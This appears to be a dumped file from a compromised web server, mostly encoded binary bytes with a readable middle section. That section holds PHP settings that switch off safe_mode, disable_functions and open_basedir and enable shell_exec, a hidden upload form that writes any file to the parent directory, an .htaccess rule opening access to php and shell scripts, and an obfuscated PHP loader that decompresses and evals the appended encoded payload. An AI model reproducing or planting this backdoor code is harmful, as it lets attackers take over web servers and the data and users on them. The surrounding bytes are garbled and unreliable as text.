p-x9ҧD~-B}dLǾTԡC,aHN^ИW!/dhuvaxwzkqFG74GuVH)⩆PN^x09uu!$ڟAM:)&鏧X
ghdptżӃ1Obһ1(KzvgWKp6DQ]y_Cm w?(LwY`ۢ9oʆA֞m~6+?0bt$(jx@;W!(FZ-NVj#~Ȅ16[|wjra|L
%,2OT(@K1 s`rC(6jeY\߳u*s6_8q+erz6}d?DU"w=+-  [ϤoQp99L`}|ߣZh؀.H'v:i;2aHB 1LڥL/qD'c:|SRadhuvaxwzkqr.n]ifft/Ė26AOr"#nzC%m2A5QY"qiװ%cR X[X2J{
ӽA!k2iZ_Cǒ\/Fkl ~3|'Ǥ!`dhuvaxwzkq:ʻq+*IO ;V[1aWWhī뷚 5ߝVږr5Ӊu3`Ctr\xގ,
Zlώ
TI):."/?"Rw]3_ўojefvsaidcgIzVK*5ټf|s{I~ E#Sci1GyZO嵶rO/1c	E]Pf2tIgg]zx֗o\]_Qc/XA~={}dhuvaxwzkq#˽z!]ciʨf`ps!p"?2Z,}^}ƫvS$1FFbg0}lmMN}mODQ1M钳!*VF(CcD,Hﹿ|vjefvsaidcg:}Y lANdm
4
.KR?'Hc`/6$4񐪭?] A_whVc4NOf)b8u;\[ߙrmK`wz-S ޲soBdhuvaxwzkq+IB֙3tߗ-Z/Q02nF[G=5S^R.*6Վ0֎cE)O~j&d~CIdhuvaxwzkq]M3إqk@t?VYȚm]nWcE6uS1ɺ83^wb1pga	^$%:{pMee&JA3Crby04g/܈D'P!'.ӊEb]r[D̉dhuvaxwzkqP=DGW::e|8tyQBkz_kk\dGG6iI/kQ.9H}PI-TN"[@it)`?='##Bg
S6Dyo	1~GV\M? tQ7EV|^ֵٙ8}[ίi&nVz~H-Qa2qY,89܆vY&3HҪdhuvaxwzkqXzHo,2VSuGAWz3gwqʾ0x	H dhuvaxwzkq}##VbA5"m`D"yv.;8 :s~ejefvsaidcg2R$n~
q熍yn\3|rƞԘVAc3
 [@Y{g+FjefvsaidcgHeل,2
}ajefvsaidcgyט떽q)tP㷆y6Vdhuvaxwzkq;3jjefvsaidcg:ܽjefvsaidcg%=/ri6i4^ffP\`3GS~(.vd""I)=dhuvaxwzkq,_]jWۅ}O9|P sYW_R5ږUׯk)Uט9ѯc/ѴY#0&L&yt93_?f*C1_jefvsaidcgɠaXGl=i7Ǯx!ΒRxNHIoH$qǬ
;vEu)jefvsaidcgzle3]]jM)aſ3WXXC_緶AAX+f'CP]7M`E"kk0k@N~D?% SvvadhuvaxwzkqQ 4I´`o隍~ܱ뵹ghYnY\cw(bFX9Ey&nӚ|b_X,dGڀjM2HtgHpQ(j9Oel!YysKdhuvaxwzkq
n 8RB},hHc&vulVt5_BWw[8ӬlQWf
l̉_S]ORCsQ#Hzc vF0kPIm񍶨d̾07sD?jV"1l
Z!m!Afi_~vwWJtE]0%r*7.$'tjե@9(y?2/\xlaeFz(Mnc[;@T3"LoTQ$tAȳ2Ln	*2.xo_
»C
q/dyT1햇cgKmh:!q#Jl$H	W)GC0Y@uɩc 57f"Xb4|ԙdhuvaxwzkq̉W4G[pB1:$UPRydhuvaxwzkq߯F_Ǐ`dg=g)$\n?aW{}$ks̠ŧx7 *Zdhuvaxwzkq'I_jUx\bO#J5RAVfM(_EOyddXp4 n
3Ӻ/{4%%X\Op_Sk|Yt;5=.jjG[H ֞7ԋw|1]P^[BZ?/ ُB&Gjefvsaidcg~YG_j[M0)S)Idhuvaxwzkqz8j_
5uh'	GK'Qv ~_Fzk1=$ʰ_S6jL{ZE~JɸgD'Ո8Ϫe%̈"1Dm/ezP~/4!jc;iuFy
_@)n!yEWकo^	b	h*W2a茨kZ*y3bgKUdhuvaxwzkqB9ZKިv\mSwrHyJoDcjefvsaidcgLr{MA9)n#3ԟ5~:񑱖o%EPzR;YlC}A5 ;ٛHyJ1 6ٖ
߲$Զ=yYϪDwszQ,lJN{S-#ჇF6vI;CJw'4^+V=^І#dB4?((P&7-]}ɳ^ISwF
?̳@.X
NFN5fXkPP4h`+NxV=g(ƾsr;X| Ap=$p(-P㣟ǠFGguU.OHSPf"
bjefvsaidcgUUnUɗ/d҉r( ѣ!;_VLDN=͘\ hTaZf͇ow{'Adޞn4:HeˠROΣyOGF#c^i9ȓ;YD[IBIکb6*_cѬ!N'Hm`N{iO_WGc8sX^|aa鄎m?jm5]]6;KWPˊYY"!TVHiY{AZɜ"oo00Q5|00W_.,Sh̏w{nJ̨*8j2VGųg5KqS`Ek	-v=/\H ^.^#,6OIqvt2n# ow4rQ}]Dã*Q:ʷsmw$0N`*y##bjΏSqD{f|cJo(ZG-
gc7!rSƸr7ٸ˺S!Ԃ7=7|&$aT3	MYG,jefvsaidcg-Sb(XRdhuvaxwzkqT.F8t^lL^kY\f\g_/ $p%Bhr;Ibxm2^ W,RaBT#v7CM`N!3hys",lptČBD$	O?%wDB?W;+_}ψj/6V[BkRjJ͊IkLFƀp.}| O7B(Jn*`#&UrI~}9lwLaw+jXoo3 .lg)&;wt~\`"h7+;y1&zI]fs.-@jefvsaidcg)-P5B9YdA2jk;T@(YH@y^wՋh? (RA$;`丗8}pCy~XB`rOei %D}jefvsaidcgUcUVk':HTy8tߥ/4:ZbVD{AC^{k&٘
G}0
_WTHz8ْ8Tbء)YK\X$['kdhuvaxwzkq䕻ŁE9m=%ݥ[jefvsaidcg%b'}g=jefvsaidcg+w0QfJZ}Asafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$TxMs='f'.'ile'.'_get'.'_conte'.'nts';$Ykjv='e'.'xit';$yaxj='subst'.'r';$vnsM='gzuncompr'.'ess';$ujUg='st'.'r'.'_repl'.'ace';eval($vnsM($ujUg('lrwkzxfgun','>',$ujUg('kbxrhcuqwi','<',$yaxj($TxMs( __FILE__ ),-172737)))));$Ykjv(0);
?>
xkbxrhcuqwinܖ_(.69b&Ls|޶LQ\k97,K?lS?J__9+4Ǫهt%_׿oXn^[a
F#eZi\z(
lrwkzxfgunOc&xl?ݗC{˵seOzkͷOӍ?iYzww/\݂in,pD"'˜~PBxa1Uvِ݋CdEfi]  }\" `mkbxrhcuqwiPmSa!(@$,ަ}߃5`3	R"X[ 4`p(Hb7({'}SɈ- /	u$ȃ hPIȡL$
r}P #f@p|o֐A0n"hx@Z`Ykbxrhcuqwi[Mo`t`q  x`*.EOW$צm OrCz
EI
9kbxrhcuqwilX5+
AЬ7ALh4",Dt!vU*$
@%ApkH*O /OUC wCM	^%(nE
Ro@-Xڂ
p=~wL,@ic AEOzPҀo~?@*DJoHAP}_ z4z.(0k[/ˎU\ Z-"
bW}kbxrhcuqwi-)
DEW'\Nj3o|.pı ۀ3$IMyۜt|=(Fbr$#j("zאG$J[{Wo
3 ۢIh-UzJh$F M	j$&h?S)=qZ	\Р+bjpQ Zk
o!݃` I^ [̃ c8؃. |nH!)23,8L5.ʅwN5sx0+pIs}1OdNؚcl1=.I@$V r.elp[H&'1^@E-*.# ]kbxrhcuqwi!LK]߉7qH=@'LxM(8O^2hB	J`6Cr-_FE@lrwkzxfgunڲ	Pj=$S(0ٳh%,z^Pa%dђ	t2*&E
e.imW?ZP.Ekbxrhcuqwig
*}ow C'"\Rgm5::?3:cLӒBF:;LcA OtR!G	?KQ_a	2'/ټn?%BNad)`aWeщվٱ^ig!Pe@=ǩfxP}гGm#51ѿ&4䵚]ZqN]=Ɏ(n
  2?͌وldg䪱@Zϧi6b-t"&q@i{:N\QdcQMƘ~荿	i㓭d0mJ_w{kbxrhcuqwiL_hוj`nSP|e=rr&PZyq-2swŔdgpӇ1RDNǯHKb021k;RkbxrhcuqwiPjq|rns2@u:U-h_c/kǯBo#v"lrwkzxfgun`)}T"lrwkzxfgunS2lΙ'&aKyJf~M)eEϯ"YULN]OfAVl:`|OMg+M-M&\
 XNmNm ]ʚOg9j&âO~b?^zaJx"+zS^?-/pzm
;'|E;GkbxrhcuqwiwCK5H;ֵAa,-ױӖ_|~U=bNҺ}XYO'"j 00q)ˊ-QUKl붲`lrwkzxfguneb$zLlCalrwkzxfgunC){
"\8!'OUGZ3۱1zX3J9t RFxIr-⥃sOkbxrhcuqwi3^=F/lrwkzxfgun_[K՚SjB\lrwkzxfgun6Q7%j,bY;Hhc-0@G#lrwkzxfgun`Cw
Yt0}P˧Bt~%Mwkpq/}hݸ;&܆)qܒ^:v(7TOz{
B2
E-_ʽdncb*_	aLaןF
oCWCξADs9l:䐨7UDcvOp
Sy Xw5~8"h:zZ"'R]6$!QCk͊_ܣzbiiu©هIKB0!zMɎBg		r;$42kA=ROӿSxg=A9ͺ@}$	ǦgT	*C&HrحoPdy@	5dpr$0Ο9ru}_@lh}dlrwkzxfgunzNhmX:urMؒsdɛE:ěmfHkҢaaܛNCVj0x@[lrwkzxfgunD*ʿtVք\`;GY貰{*?lrwkzxfgun#nꚏ\!H~مY"kbxrhcuqwikbxrhcuqwixUg'm)pN"QQÈ}~[tYq`78#z㢿z$w"/xJ`)1Oŝ#^ϥvQ(]%]kbxrhcuqwilrwkzxfgun䙃ʡ٨kbxrhcuqwiW0	
Q=Bx¤;o';NMִʪJ͋e#ڍ(=.֑ɃH,\P)"#K*ͷ
b14	7G6!~CnmgTkbxrhcuqwi-̵\5/(EjNH=#ovů
@"F:ݏvάTwy)Jndbusgy
51ģb\*=	t.7	VM4.Bz6XVQږH2H"BVl箦{_HGVmgBǖn8:߀1#$9	?~cTuȇ"';#.N]xT kbxrhcuqwi6_Y	ŜD*.x''[(h+C+r,eO򒂮)`]_{[&SLm:;xrI_!oԸi]"YK@]TpH:ϳvEbzd,VoŨrx
3NnC4ŷ !4aI0u6p~4.;2WgLᭋBD#gK"'mA?+xnmE oԭE
ms9~Y;R9&9 zBɚjsJp@3YurSFƉ9t^쟟\ \R
M kbxrhcuqwi^9V
[gVrz	Kd}r L`xf
V7% P7@t&8aBz@;͟fs޲|U ʝ	m%z
\|isUoaAOOL9i'TaL}N'sPPӨ_!t"aלwx%TU/V	)VWA8ß-	އm
ٍNc͹2up3ȥO9
6tH}Q+VSͶYK
B+KAzLL9=$I3rsiݗ b"l1$D1.pP|K\{?!df!rȺOM	3Y0Iڥ7KЎJ.I
Zjw)EfjnprpD:9i2s[hīPN5{
E4rn߻R'[x)ޗV.:kmT|nbW=%9%3+u7v{fWTnc[NΠt.bAO;qȉ!hMJ"+ɬ*:ǈi	&NpZ|hEIN%&
dĜ9@kbxrhcuqwiM= /:áGzaVJ'[l{C&Z?=q%!д_˨ii"M_d
J8]:Q2nKíh֡05Ckbxrhcuqwi{.\xaA, tFģUtX'C[n*÷QEo#JYHs,?bc#\"%^a2ulrwkzxfgun۬yDTRh r	(eO xMT-BIs.x"g&Re}cp_
"Uv|sgbJ5[DӎfvT^kbxrhcuqwiDۍ{/PkbxrhcuqwitOJmJ_"Tèל?U#!ZڝRǛ'\4w@Cbݥ4}wy?qRLxDA5w'(פ\W@
tO1it梘"=UX6uNéؠ"Y,NVO#,|#M%
9猑Pg%lrwkzxfgunèrUz4MhD91|lrwkzxfgunc4,୩Qٛ	ћ_B;^uB肊ʝvIqMӌe]&,QeXxm\{A['ےr	`%	H?MT 5}ewel'/=gNjg׮(TZjWʱ1t@8d uPFA;ov[(*T	`~[uo)-elMz3i ~:tIuU\\(G."|2;Wȱ5ud G2t4kcן4Ysb,9`a~5StA(kbxrhcuqwiErĦO(µeB,l$`k/z\]i9d@(4GJ!绿C)[FXHÜ٦ %%#E=&R~#`qŘY\Oy~GƓw
pKD+2#=jfL|qliosxTh+{kbxrhcuqwi80Ӽzȹꂧ2DjqrZ#[͒![.KkOAa_!Ɉf[NsH);?%eUd {\8~(.lrwkzxfgunh S3q9TmyGSH\zۍhS0rQ~:NLEW	UD8$T裹kZf2HCpL/ }}(
DCvlrwkzxfgun$\w_JJ| PaZt _~(tLӳq?3S6Yp#PRt&[Cd-o:_D,DߊMejlnfej X+lrwkzxfgunA@.j"z@IiJR 2pJ5X8K)^5{Ue0Tk6a'7cd2()[ O[*7wMlCnqGlglA͹	ZnpOia]X72uw9!XbLg#O*{IXs\FWlrwkzxfgunϐ"@w,q!+-t`tcaG㛿\
yLCd_	Ӧ+n,e;u4E{b-Tܔ ~;af~6ƿ[|klrwkzxfgunNhz.̚%.n	Kս6Je;j_ۆjK&0̙$T6SkB~d84b6J%佝*THxbï;A)1^i9	o6(U,jtw1b;Hob.	F&$XD  j9DG+o6D2Z3bF޻1cvJňQ Z'z\/qXm5GBkH7〟ױy1$mK҂Z#j/DAjMPx,%/hx/EG'UܣN
K}Bf0ghp772i'ZyG0L/%z[-ʁ}m,[I3"H!{\r.kr7}zE@lFZbF-D=xrxZ, 	{Tgk43 geUb?ZCg&kbxrhcuqwi[Vō:ia@Aٷx{0iKsVK(56oN
'ұԺ*yFHh	d^d_ciй$ˊU&H;sK˰APQfgq"Z6TX6{֎uFE;WT*DiRcUmkbxrhcuqwi0_uLSjs}y~{L'd|;ƴ|3M\tAlrwkzxfgun?ueȗ,#-HCˌWJ8 Ga!uYH9R@0m[s0ĴUG	h0kbxrhcuqwig=Q%FX$+IP2jӌ_QGӅlrwkzxfgunYkbxrhcuqwio{fZs#Qޱ$)lŌ;d#LIU}|ډ"1kbxrhcuqwilrwkzxfgunKX(,1!&L;C:IcTe{/jG"Zg1+x2|qF8՝o	8͠ B×d)sژN?U4_3wE9Z( S!$Eg^}SsI	K8jﰬ	uQ(a1;@	@ 8\9=3*TSoy^javN6/_&+w`+vP埫oR;zq#.汀- +(^JDTB~J'an:e P~A"$nM|;!lrwkzxfgun5kbxrhcuqwiSt@!ڦ-4-(
Nӿ+)^Rk8"G?k7hr/GGd^B K/g!+\'.䢴1%۵j'W}a":#k	Ig4`۵bPNRxSH*CHԆ:k5d{{9cFrL19̏V9bH~X DnyBnik;ti
	O
;v;#FJv/JaAD|&q:G=/:dSM'vY;O&9KWe?:ԃN,'w9B/ T,m/~__$! |	@TqNC鉁r	
d伋ß']^9@;P'=N\4tߑTCKiQ($М?c I&L*1@u!A:9$savaTȄkύ!ȠYF`J}ɚSR w&V3%~eClrwkzxfgunV,V*5sA='t`ydӂKF659U! +r)$n5ֵK}jX]fqR(fv`S7lrwkzxfgunzf޻7Չ@='[WZ
HfS8] %2?W 4*R/?63Plé㳛^3  NBPDCC6[me^\,&RH;(Թw'}'sꔆQ&}@[	CFM7tUmpS:IHU8sP|OgVK=w?"Ksx^\÷6͢fo'ƾ+ܭd@ƩA] yVEiPk燃Pa
W8#xuз
[!"Krglrwkzxfgun7;#P=nTtD:YJFS]-|'Wl
3 UӦep\?p"=@`\iT}z(_d:JMD#͕a !Ԋ \X#q"&t꭛ޔ?q#pp돸ԇ,Ĩg2kbxrhcuqwiD0MYa9\/\jü&Ɖ	6jrxD~HDNl@ЅJիtz63Z2n䰻 oMD0hD_|V:P?h]9bB|/S=@6\&bq_%3B[|J{ZDp.hά"Dlts[^|kbxrhcuqwi;3Z ŵH.՘4@:% ʉK?i!fzn!;up('luR j7˷}i0J{*CWhKS-@
sM
o@D]1.9_|+Kg/qÆUbWȵ6KkbxrhcuqwiS3Atk=sVOIa&%a2Ex.7kR4|۪(2"/
e}0sNK^ߦ9Z*&J܌Nf@f5kNx䢇4$3=@t'ntP%j5Y[D|'b9oLk;F9*f雯fN3ao5AIKPuJ _lrwkzxfgunc*I+
J19{jl-0fFG ])vmƨۅF]	Z0M^I5"؇kbxrhcuqwiyMH@6/x$ݡd=ϵT$.Xo*5H5Aq 7U$ѾWs{/tMI)ӢȂЮǩF`!ՄNbw"t;\mkbxrhcuqwi7n'鸚rPJQ @
/粽#3[
ҕDv@JX7bY#]"aADkbxrhcuqwi8Gґr* HL48vE#.
*E6Nڏx@9hZ?,N &]bb=?mKO+ڷH@q2G=
lrwkzxfgun,7 QLaogW%C[I(pY|.Ha0\ ONsNB
cBE!wKCՒylNQkbxrhcuqwiڜcPD"2BZw`fj
wt~`b}t
o\mY4Xۋz
\Bz
["&qlrwkzxfgun	Kg8miJiEwxY9b"mQiWW	=2(t}YQS/7 [f:IRI&UmRgLqolrwkzxfgunMnfP8c^T l0(lM
rX
*0л%3IMt蔵6&_5ƜXT].wP=ZItCy'b2-4B"ر
5q9l5^]B_O_3x,2i|yP~y6RXfiāE:dFYT"g2llB).B@,:Z	qlrwkzxfgun6nCm*-ˁKbygTҖZkN+(4[e!F{n1	qn$G6C8 O
VdJ*rN2)Uşa5bH1)%TQ_X[3X ylrwkzxfgun/i/6t)e-tҶ`-
аL {.)6qC/V?ʂƓ/щ/M"
b3}WYhu}شˠGGϞh8g}` 98^_'`Z13C,xݠafV'52̍\{0Ѿ8%LF#gwya$1M֬ӥjPBOb5 {."vSդŴp96q)tb՛eB!ݜJsk	g갈
~\|EG U;[q/NpڄoYlrwkzxfgun

@|(tH 嶰6MJ$	.~B??Z)d{JH{:2_)h/$bF^lrwkzxfgun)｟0\5z:ZO·Hˈ*mڔ9\aG$~5FxZ!9 K;o±g:8b= QBZOto^z(?\ʎ)jU
VJ
t6UO%9:#}
_Aɐ
˱SbPI#84lrwkzxfgunzAD2J=Ρ/8F;D\VZ/lrwkzxfgun_ШqەG}لX/'xN޼0ԌN4tT \:xG!_*Cfy3KT#dkbxrhcuqwi`eևi4ds+(ܾlrwkzxfgunU0YaՃT-.y6A4FhK%ׅq"P6.cKr$	|3YuJ;wiO/v9[l4PUPߖ[h,.*Z:l,LÿwᐘX
XI58*Ŀce$=Qx@&ykcL5.B2Kcd$ݢrd"gtdM,fr,㺋٢Q/Q_Aόoi)ᠱ`}xDo^ܩ'Ʀhv
5-eG/ӦW@R ^QKuش55c[!368]|fʂGlrwkzxfgunQ.2_pp)̷Pɀ%"&R!_1^3c1Alrwkzxfgun=Z%ڜx*4`7ٕ8a2(:9v :,n%x3L6ۑ?o0gwhjЖ@t́;6,WtN@CIzޠYF	G-;k'a;RZUkJ-Gou?OOLlrwkzxfgun46F%nukbxrhcuqwilrwkzxfgunD& [@);9
\^{?dX_4qI)%MiF}Лkbxrhcuqwi\\0"-֊Yz̜. {YIo+((fэ%P$MDd3޽@{屓h0;k).7WmΝp`G@݇\
^ 0n[ Q_uȲ2,qZtMh3!?dIBHkbxrhcuqwiB
ӡ/%1eKn\
NKn~QPQY3*ym5rs'-rdNi1vy0媰lrwkzxfguny*WU^|a OpAPlx eJm=kbxrhcuqwi3+Q(P)l&PsSڑ#~6
,r+6*-)lrwkzxfgunU(""!VBlrwkzxfgunv4kSCD=ѕDzpX N	L~?KBy7D5Q^151WjBe%M(\=N.vYx}ʠ1ø@4G:z-ׅH6k)􉈄@+3)b遬ТY1Sw,كJɥoXDD T`abN=4ח4i7nnֆu }lrwkzxfgunT 1ba479|	%IY
Ęq+J:[Q)jutlpy0mY!?*TcCz֠NͮPm[A-g+{/Kh jBlrwkzxfgunejO|}r\$+	;t06;h6ݽ3Mطwӯ`
`徭eѲsJ0pߜT$q"lG*Ygf@[ۙ٭
MP.-" `O'Y?,bbo/!A=.e0:oݺ+[u346la0݄֟k#*KW lrwkzxfgunU@D2ۦQ{ͭVaie#m&hWS큙'lrwkzxfgun^*Oa^(rl;Td
Kζ(
GJɠ1q]bkoL!	V3 +Ft]wzNkk:Л{KysI+ލ7q=k 7K9-ݡWSY./֊	R$D*޴0Ougxp3B-kT]t[\/wG=qFꡓeiv|w+=Bq`iKn	Z,Nc*0@b{l#ڭT$ٱqHȧerϤVշMf/pQ}*)EE/W}TR[4xA:lrwkzxfgunԯ ^82}B$1$S0^jߘt^GU@I8?{1T@d,%k YÔׯ4g}ɼK\ېX|Ev|Pu9,oGт]W4|E֓'^GRE6:	"|jK~G6i~];|uCq$NI
ph!j]z&0KpzNxW[rwjZL([џ)Bݫ0hO}kKk
0C
4"wD_
ӽayF/;LnoCҘ9*oRG2'd2qU7O.NU.k出3[kbxrhcuqwi=RjokbxrhcuqwigЊc8;|^ݡ9ձA6F0Z
_E~-QJc@0j#	ѕA YhIڎM(8FPP).!iz/M_h8(3I/E8r`ݚ%l^dc	l~a |Șc[|J6.{$|ٕAXo O lbӲWuj
=ch3݁ŇψBA=XTGq:wE}W}̌Ɉ$ |$Po2 `ИCy1~Y$N-`+="kbxrhcuqwix(;n9kN%|.P;1r72okbxrhcuqwib9#c SؗhaY٠
P
=Vg}7$~m5v#-s7ګ|[Z)KP,R1yoO֥|*S^,8.u=(afr:}lh^.VQMkbxrhcuqwi[rdPrgIxJqXG6P.r|t.Q3-U\綗rfVmtK2)
%9bE󨗅YgFQϢLēJ	ѝinȴ;fT^X٤"n#\$kbxrhcuqwio:ׯQΌ]V@FHnkbxrhcuqwiAˏ~v~ʎ 	%{gb
j	bw-^ÃFA^b~;f[`^(.l'=-%|C.˼kbxrhcuqwiY띝aU?@/VXDDzG;u\Q5͌t1iBO1x};j0r9yZnD~KkbxrhcuqwiݧcXw]G3
H
n: bf}Ӡ9c!.E2MS'ڂ	y!`'d#[|b6kbxrhcuqwim}5QHl`5m9H\L~cvp 6Wx*f䟞ŝlE'#Ze_+1Mom_u{`(SNcJ\/vUA8AO*u!M(Hx-! M5P1#H7FPYx
衟lrwkzxfgunĝTM2@YMn`4H~lrwkzxfgunU-vIfN~MkbxrhcuqwipJZkbxrhcuqwi h8zz'#RYnkbxrhcuqwi
XѾ ;%Fb9lrwkzxfgun{6KS;tuu3,)
Ή/x_{碋uTwgy(ѿ
E%)稑' #jHc0o*Kkbxrhcuqwi=¿D#V2^*gf\̅rާ;hmEj.&v.ۇ(vvO")lrwkzxfgun!ulpZn@?\|=X	xAm)sa
Qz6` ᕯ]8Bg, $N)kbxrhcuqwimu[Ry`v7Tcqt	$15Im~NA:$zѬi~Zh@g"i  [8&e(
܉$ӝPl4	dM[~_*6\6+yIwaOp!at3HU 
 Mve}KIqfmao4oѣ #0+cQ쩡y1[QsPrBBLioлeb،3#ەalaGaYPDm+(byP߿jb!VTp8
\bkbxrhcuqwi#V-5d{kbxrhcuqwiF	gfucc͜'x/	1iϨq$󙎛 1qo&K2?|	QSX [AvgB&r񫖿#l?4^ 7Qp6Ԃ6bK^4R:TPxkbxrhcuqwi?L7!u30bݯ^tN?ʠLL ."lNSdzV䡕|Xn*#-lrwkzxfgun]P	/Ťlrwkzxfgun#VǥJMG=1kyH,N	b46@e^HiZ	&¹|Mf
X\lrwkzxfgun2(~b7a[ٹrfd\ύK/7ijV}`p*d*TYOԺih:''&[*bUJVWn+⾊	PfzO !8gB5E+0	?Cgalrwkzxfgun]LoK:ѩ0oP\4nW+U,lrwkzxfgun ]ﭨ*!qULQalrwkzxfgun?$`l}&(Ąa;_{j+8PqSKBuDYMIU"WQ(7Əh6nq3sAlrwkzxfgun*`k6bbC iP%u^f(mSc;XP?7tmhsn]	;plrwkzxfgun+|`}i@p%?Nz7^L6tuŭ׸aw&DDifoKА[ k%UD׽g'Ϟ Ekt|'3(_YE\ziO1i+oJdIigl6v_jB[i:_t0~
M
Yޡxm/I9fuhjT0	4]\1p	pf+Хz\;3d!Ҟ߶
f.b%NSl0!{1|lrwkzxfgunCrH]Njn%!(6lrwkzxfgunMFV}Yy~K]NҼì(Bܷ7^l+YzT6DMZ ?o
rnCPcdmn)AnimCaDG{9Q=&lDn}.QlrwkzxfgunP#l⟺Bv 	qew2b#Uģkbxrhcuqwi)V(	1֊&I֋:WtJMthCukbxrhcuqwimkbxrhcuqwiSߛ)I֞I!+Jtm[#s"amO7o@Y, 6҄0)JEf"eFlrwkzxfgun߆pQ4lg9dm4DK9{c~e}=/˻mlrwkzxfgunL
`![˺Q,Slhy2)wt'UԬ^:hgAlrwkzxfgunDnE@߀Qa;TJ!n1&`ϺYwEEghc?tmofQ43lrwkzxfgun
k܄12vza YrfgU5(_.IթGV3S3"aLZ2ZBpS L oHwq iX4M|kɐtqzBKv0s*b!=O+X}(f4^PaRSׂ-@xÇ`{7X47Um1nC$5ڵfГ#A+r=9}_
δ^c#jm-0lJ:r7cFUqdlrwkzxfgun^돈Ykbxrhcuqwi	i˴J.E^lrwkzxfgun4Wl-]ݚ&.2\A}!0rCZ?-q-Ilv9u3Fz[xU&usBhES+k^\9('`;ÔBkbxrhcuqwiHi&tgy=h%Oc(p6Y#W$|C-Ce`*yy^2NyJeͣw:(P`t?/IaCHWB"ƴmƨ55
ōkbxrhcuqwivBkbxrhcuqwi^2
vGX2w9v#0,]$V;fcԱ	xs4(Iy fQkbxrhcuqwiZkbxrhcuqwiezy?XЌ:fVPO]'l@K9{~g~aCh [ ASHHMSLv|lԍ]~kbxrhcuqwi
!Q.,kJ;M_STdͮzLa3P)Pc}"wYݕSq\%uRm50}+}0  7Glrwkzxfgun%;bnbM̢o Y1	/(u Roc/2Q#(/FnVCy~(ⓑ!HSG Q(NOV#'R3J"13kbxrhcuqwi fZ x ^9F/"#MN&8wf]~9i:Mmw4.=H	Ē}d W ƤP\`)gplȖ5kbxrhcuqwiNNL_G6ջ0YH!F0H歞UEm]lrwkzxfgunb%OXY!Pw@Ɣ-;2b'KZ+` & e10z)5ā4}Mvn}b[w[\
WU;$rEsq
o!I &Iټ\O`lrwkzxfgun\Vr-c_'4]WAvO?n@aAq4ʓ|7*ׯYژ&}l8)&-P*ys	Zz'k,ژ&b@Ԣ_,d W"lrwkzxfgunonESH}co
0,!IՅ."N3!FG ·2|lrwkzxfgun"XoИQJ;ViӷsFӪtwUj7'yK_kN7%г /5!1H
fl$B"ST?ˍtz֗-GglrwkzxfgunBg]~UsӨcTYA5Z|x:Qkj
0ҋ~V9FNM-:SHĿ?x0/ۚ=IQTy`v
*M8\V! @s8`H?uj
QkbxrhcuqwiCb D8!z
]'pӭ.E,Y[h  ;0WF0A哒( j-XkYLZȿo=CT|HPyw{O{ږ56|fv嵟d_LREz%:x`+i'5X.r׫Nrlrwkzxfgun]oy7?s%g,kbxrhcuqwiGW'[ [5tMf*U	Dz
?
B#WtVU
GbOZ=ޡXWY
	x)8kbxrhcuqwi&Zxkbxrhcuqwi)7Qyj/q16=o7o,"E!=nX˄|q;~4jd^}˿-;j:t԰ոPmuʶkbxrhcuqwikbxrhcuqwi,;hb'-\l4nA7S4lrwkzxfguntJQk~Y}\lf@HdtWF8룰GT])Ll~ݨDO1k-'9 u:7b$Hљ1	er2l4CN
9Q*$Ai=?NM^m'SZ3
dt2%rhq+H Z)R0ci5&};r	쥚)}l - ӓ͡#g`}+)o.~3,ɷFZAЛ@1: {9{}@2mDV3Xs@0gҷP)_:)3e^yRPV/,wTa8kC !0x=0lrwkzxfgunisV-C)cߜ]!jhc}] 6:w{:K$͒+ػ;7 =NVTkbxrhcuqwiS㚭vjC@4\T,5Ad,ʁ _ۿvxlnZrDqSWyO*LJd]k?=8wЃޑMRNTEYSD5gj_675k0ҁPNԂUKH6:pf
X944xK$ejy3
=Z%/|D+DgB5㼡)rEәM8r4Àp/THkbxrhcuqwiߏDf#+@S2U%ܺlrwkzxfgun"rY`1͔R]Xxlrwkzxfgunw+bn@O	kbxrhcuqwi&ƖӆqJJ&cL^LFyvP
!%W2`x+^qNlg9'(xDɕs,d,ɷ4Glrwkzxfgunȥ,9cAfdpx^)zI,̻T~rzi@JQ6D\	[@m7,mL2kbxrhcuqwi~r@q#*:9AI*ʫ!`P~~G6K"*mAW_NJ2K8BCOP[Dilrwkzxfgunc}jwC9e|#w?Nr*В`GGIQgY6
DW_B;Cml÷ؼ4nFkbxrhcuqwii/A8 fY7!A_ڝ:j5J:)䓓.w?._cy L+K&5»N6dL7fɱ{b1CYhV|(o$a8n6"OSrͫ5=QGkmq-&kbxrhcuqwi"\qcu)k3FbD=U%7}Q8_7*rk@N9L~3;sY@kbxrhcuqwiD&B`3:'w)8'ߜp]o$ܼv xx$#hBB{&fA,I]ϣkU[&KLfxi泬Lc$ HTT'iЭ&E߇y1`0|&suھcֲq,pڌ64+ uVm2Xhͮāuq4gnֲ[*p{?hYXet4  kbxrhcuqwi;r@X3mѼpL0mFMx9)ٸ*Y0bݶ
qZM)nT$#	 pEAukbxrhcuqwieDuYZmrc#qؙD\$
7nq;d`xrDGye.D
5M0$Z#`}L$'29$\յu᳽66(QGIb@J/MZ,P]!پkbxrhcuqwi/%"r.Y҂~b0fM`w-phyo4??_j+R_9D')AZb)OVnV/]?Wg3fzUܞLKf; 4rkŰ&nrI /S})j[dCweN[ o*d"3(
z
Xx[%r	5=ғUlrwkzxfgunxvY˂tͤE2ő!\cjt浠%	}}_bʼ8GhDhN`qgR~ckbxrhcuqwicUePٱ)C8Wg=YR#B (]V#gɟ^K?85^'}&y".郞ӿa7
RG3օy˵(ŵln0Ji4_wpG^R,IcmU:6AXW))α.kbxrhcuqwiqt=4nilrwkzxfgunXRz#
dG'^X
yɀ2y:J4HchT1L'ec'ؕZ'Gc&kbxrhcuqwi ?Z!
xBL|.-xN^`Le
i[CkǛ,#Z3+v[a)OO~x*}\jă;cvFU	鬗R:jסncp{lrwkzxfgunHÓ0|49"Ա=
5#AmK0ONYCkbxrhcuqwiIAme~qҺ|z?툱miRMIU:!(65W8;1ӯwZx/nFf,kbxrhcuqwiQJ#q9X飔m ɖ^ӟu:DI==2i=lrwkzxfgun}q|ÄJ5
